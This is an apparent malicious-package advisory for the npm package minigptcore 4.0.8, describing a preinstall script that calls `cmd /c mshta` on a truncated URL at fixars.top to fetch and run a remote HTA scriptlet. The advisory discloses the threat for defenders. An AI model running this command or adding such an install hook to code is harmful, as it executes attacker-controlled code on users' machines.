MAL-2026-10417

    Dashboard / Malicious Package / MAL-2026-10417

    MAL-2026-10417

    Published: 13 Jul 2026Last Modified: 13 Jul 2026

    Summary: Malicious code in minigptcore (npm)

    Details: Source: amazon-inspector (8be3fb8ddeae3078f0765ce77f9a329caacd7ee5741b2c96dcf8f613f5444ba0) On `npm install`, the package's preinstall script (preinstall.js) invokes `cmd /c mshta http://fixars.top/...`, causing Windows mshta.exe to fetch and execute an HTA scriptlet from a hardcoded external domain over plain HTTP. The fetched content is unpinned, unverified, and unrelated to any documented package purpose, and executes with the privileges of the user running `npm install`. package.json ships placeholder metadata (empty author, empty keywords, generic description) consistent with a throwaway upload whose only functional effect is the remote-code-execution dropper.

    References: https://www.npmjs.com/package/minigptcore/v/4.0.8

    Affected packages

    Package

    Name: minigptcore

    Purl: pkg:npm/minigptcore

    Affected ranges

    Type: N/A

    Events:

    Introduced- None
    Fixed -None

    Affected versions

    4.0.8
    MAL-2026-10417 | CVE-DB